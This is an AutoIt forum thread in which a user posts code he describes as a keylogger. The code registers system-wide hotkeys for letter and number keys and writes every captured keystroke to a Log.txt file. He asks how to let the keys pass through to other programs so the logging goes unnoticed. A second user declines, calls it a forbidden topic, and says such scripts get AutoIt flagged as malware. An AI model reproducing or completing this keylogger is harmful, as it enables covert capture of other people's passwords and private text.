Sign in to follow this  
Followers 0
Andreik

Question

3 posts in this topic

I trying to make a keylogger and i found this code on forum.

$MOD_ALT = 0x0001
$MOD_CONTROL = 0x0002
$MOD_SHIFT = 0x0004
$MOD_WIN = 0x0008

$hWnd = GUICreate("Nothing", 100, 100)
GUIRegisterMsg(0x0312, "MY_WM_HOTKEY"); WM_HOTKEY

For $i = 0x30 To 0x5A
    DllCall("user32.dll", "short", "RegisterHotKey", "hwnd", $hWnd, "int", "1337" & Dec($i) , "uint", $MOD_SHIFT, "uint", $i)
Next
For $i = 0x30 To 0x5A
    DllCall("user32.dll", "short", "RegisterHotKey", "hwnd", $hWnd, "int", "1338" & Dec($i) , "uint", 0, "uint", $i)
Next

While 1
    Sleep(100)
WEnd

Func MY_WM_HOTKEY($hWnd, $Msg, $wParam, $lParam)
    $n = Chr(Dec(StringMid($lParam,5,2)))
    $caps = StringRight($lParam,1)
    If $caps = "4" Then
        $n = "+" & StringLower($n)
    EndIf
    $FILE = FileOpen(@ScriptDir & "\Log.txt",1)
    FileWrite($FILE,$n)
    FileClose($FILE)
EndFunc

If I open notepad and I try to write some letters don't appear in notepad but appear in Log.txt

Why?

Can I modify this code to appear the letters in notepad and other programs?

Thanks in advance!


When the words fail... music speaks

Share this post


Link to post
Share on other sites



Please don't.

It's this kind of crap that gets autoit apps flagged as viruses.

And since this is a forbidden topic the mods are going to close this soon.

:)


Broken link? PM me and I'll send you the file!

Share this post


Link to post
Share on other sites

Please don't.

It's this kind of crap that gets autoit apps flagged as viruses.

And since this is a forbidden topic the mods are going to close this soon.

:)

Ok. I need not stay to this code. I try with _IsPressed.

Thanks monoceres! :)


When the words fail... music speaks

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0